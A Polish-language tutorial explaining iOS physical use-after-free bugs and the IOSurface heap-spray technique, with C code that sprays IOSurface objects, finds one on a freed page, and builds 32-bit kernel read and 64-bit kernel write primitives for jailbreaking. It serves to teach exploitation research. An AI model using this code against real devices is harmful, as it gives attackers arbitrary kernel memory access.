iOS Exploiting

Fizyczne użycie po zwolnieniu

To jest podsumowanie z posta z https://alfiecg.uk/2024/09/24/Kernel-exploit.html, ponadto dalsze informacje na temat exploita wykorzystującego tę technikę można znaleźć w https://github.com/felix-pb/kfd

Zarządzanie pamięcią w XNU

Wirtualna przestrzeń adresowa pamięci dla procesów użytkownika na iOS rozciąga się od 0x0 do 0x8000000000. Jednak te adresy nie mapują się bezpośrednio na pamięć fizyczną. Zamiast tego, jądro używa tabel stron do tłumaczenia adresów wirtualnych na rzeczywiste adresy fizyczne.

Poziomy tabel stron w iOS

Tabele stron są zorganizowane hierarchicznie w trzech poziomach:

  1. Tabela stron L1 (Poziom 1):

  • Każdy wpis tutaj reprezentuje duży zakres pamięci wirtualnej.

  • Pokrywa 0x1000000000 bajtów (lub 256 GB) pamięci wirtualnej.

  1. Tabela stron L2 (Poziom 2):

  • Wpis tutaj reprezentuje mniejszy obszar pamięci wirtualnej, konkretnie 0x2000000 bajtów (32 MB).

  • Wpis L1 może wskazywać na tabelę L2, jeśli nie może samodzielnie zmapować całego obszaru.

  1. Tabela stron L3 (Poziom 3):

  • To najdrobniejszy poziom, gdzie każdy wpis mapuje pojedynczą stronę pamięci 4 KB.

  • Wpis L2 może wskazywać na tabelę L3, jeśli potrzebna jest bardziej szczegółowa kontrola.

Mapowanie pamięci wirtualnej na fizyczną

  • Bezpośrednie mapowanie (Mapowanie blokowe):

  • Niektóre wpisy w tabeli stron bezpośrednio mapują zakres adresów wirtualnych na ciągły zakres adresów fizycznych (jak skrót).

  • Wskaźnik do podrzędnej tabeli stron:

  • Jeśli potrzebna jest dokładniejsza kontrola, wpis na jednym poziomie (np. L1) może wskazywać na podrzędną tabelę stron na następnym poziomie (np. L2).

Przykład: Mapowanie adresu wirtualnego

Załóżmy, że próbujesz uzyskać dostęp do adresu wirtualnego 0x1000000000:

  1. Tabela L1:

  • Jądro sprawdza wpis w tabeli stron L1 odpowiadający temu adresowi wirtualnemu. Jeśli ma wskaźnik do tabeli L2, przechodzi do tej tabeli L2.

  1. Tabela L2:

  • Jądro sprawdza tabelę L2 w poszukiwaniu bardziej szczegółowego mapowania. Jeśli ten wpis wskazuje na tabelę L3, przechodzi tam.

  1. Tabela L3:

  • Jądro przeszukuje końcowy wpis L3, który wskazuje na adres fizyczny rzeczywistej strony pamięci.

Przykład mapowania adresu

Jeśli zapiszesz adres fizyczny 0x800004000 w pierwszym indeksie tabeli L2, to:

  • Adresy wirtualne od 0x1000000000 do 0x1002000000 mapują się na adresy fizyczne od 0x800004000 do 0x802004000.

  • To jest mapowanie blokowe na poziomie L2.

Alternatywnie, jeśli wpis L2 wskazuje na tabelę L3:

  • Każda strona 4 KB w zakresie adresów wirtualnych 0x1000000000 -> 0x1002000000 byłaby mapowana przez indywidualne wpisy w tabeli L3.

Fizyczne użycie po zwolnieniu

Fizyczne użycie po zwolnieniu (UAF) występuje, gdy:

  1. Proces alokuje pewną pamięć jako czytelną i zapisywalną.

  2. Tabele stron są aktualizowane, aby mapować tę pamięć do konkretnego adresu fizycznego, do którego proces ma dostęp.

  3. Proces zwalnia (uwalnia) pamięć.

  4. Jednak z powodu błędu, jądro zapomina usunąć mapowanie z tabel stron, mimo że oznacza odpowiadającą pamięć fizyczną jako wolną.

  5. Jądro może następnie ponownie przydzielić tę "zwolnioną" pamięć fizyczną do innych celów, takich jak dane jądra.

  6. Ponieważ mapowanie nie zostało usunięte, proces może nadal czytać i pisać do tej pamięci fizycznej.

Oznacza to, że proces może uzyskać dostęp do stron pamięci jądra, które mogą zawierać wrażliwe dane lub struktury, co potencjalnie pozwala atakującemu na manipulację pamięcią jądra.

Strategia eksploatacji: Spray na stercie

Ponieważ atakujący nie może kontrolować, które konkretne strony jądra będą przydzielane do zwolnionej pamięci, używają techniki zwanej spray na stercie:

  1. Atakujący tworzy dużą liczbę obiektów IOSurface w pamięci jądra.

  2. Każdy obiekt IOSurface zawiera magiczna wartość w jednym z jego pól, co ułatwia identyfikację.

  3. Skanują zwolnione strony, aby sprawdzić, czy którykolwiek z tych obiektów IOSurface wylądował na zwolnionej stronie.

  4. Gdy znajdą obiekt IOSurface na zwolnionej stronie, mogą go użyć do czytania i pisania pamięci jądra.

Więcej informacji na ten temat w https://github.com/felix-pb/kfd/tree/main/writeups

Proces sprayowania na stercie krok po kroku

  1. Spray obiektów IOSurface: Atakujący tworzy wiele obiektów IOSurface z specjalnym identyfikatorem ("magiczna wartość").

  2. Skanowanie zwolnionych stron: Sprawdzają, czy którykolwiek z obiektów został przydzielony na zwolnionej stronie.

  3. Czytanie/Pisanie pamięci jądra: Manipulując polami w obiekcie IOSurface, uzyskują możliwość wykonywania dowolnych odczytów i zapisów w pamięci jądra. Pozwala im to:

  • Użyć jednego pola do czytania dowolnej 32-bitowej wartości w pamięci jądra.

  • Użyć innego pola do zapisywania wartości 64-bitowych, osiągając stabilny prymityw odczytu/zapisu jądra.

Generuj obiekty IOSurface z magiczną wartością IOSURFACE_MAGIC, aby później je wyszukiwać:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Szukaj obiektów IOSurface w jednej zwolnionej stronie fizycznej:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Osiąganie odczytu/zapisu jądra z IOSurface

Po uzyskaniu kontroli nad obiektem IOSurface w pamięci jądra (mapowanym na zwolnioną stronę fizyczną dostępną z przestrzeni użytkownika), możemy go użyć do dowolnych operacji odczytu i zapisu w jądrze.

Kluczowe pola w IOSurface

Obiekt IOSurface ma dwa kluczowe pola:

  1. Wskaźnik liczby użyć: Umożliwia odczyt 32-bitowy.

  2. Wskaźnik znaczników czasowych: Umożliwia zapis 64-bitowy.

Przez nadpisanie tych wskaźników, przekierowujemy je do dowolnych adresów w pamięci jądra, co umożliwia operacje odczytu/zapisu.

Odczyt jądra 32-bitowy

Aby wykonać odczyt:

  1. Nadpisz wskaźnik liczby użyć, aby wskazywał na docelowy adres minus offset 0x14 bajtów.

  2. Użyj metody get_use_count, aby odczytać wartość pod tym adresem.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Bit Kernel Write

Aby wykonać zapis:

  1. Nadpisz wskaźnik znaczników indeksowanych na docelowy adres.

  2. Użyj metody set_indexed_timestamp, aby zapisać 64-bitową wartość.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Podsumowanie Przepływu Eksploatacji

  1. Wywołaj Fizyczne Użycie-Po-Zwolnieniu: Zwolnione strony są dostępne do ponownego użycia.

  2. Spray Obiektów IOSurface: Przydziel wiele obiektów IOSurface z unikalną "magiczna wartością" w pamięci jądra.

  3. Zidentyfikuj Dostępny IOSurface: Zlokalizuj IOSurface na zwolnionej stronie, którą kontrolujesz.

  4. Wykorzystaj Użycie-Po-Zwolnieniu: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić dowolne odczyty/zapisy jądra za pomocą metod IOSurface.

Dzięki tym prymitywom, eksploatacja zapewnia kontrolowane odczyty 32-bitowe i zapisy 64-bitowe do pamięci jądra. Dalsze kroki jailbreak mogą obejmować bardziej stabilne prymitywy odczytu/zapisu, które mogą wymagać ominięcia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).

Last updated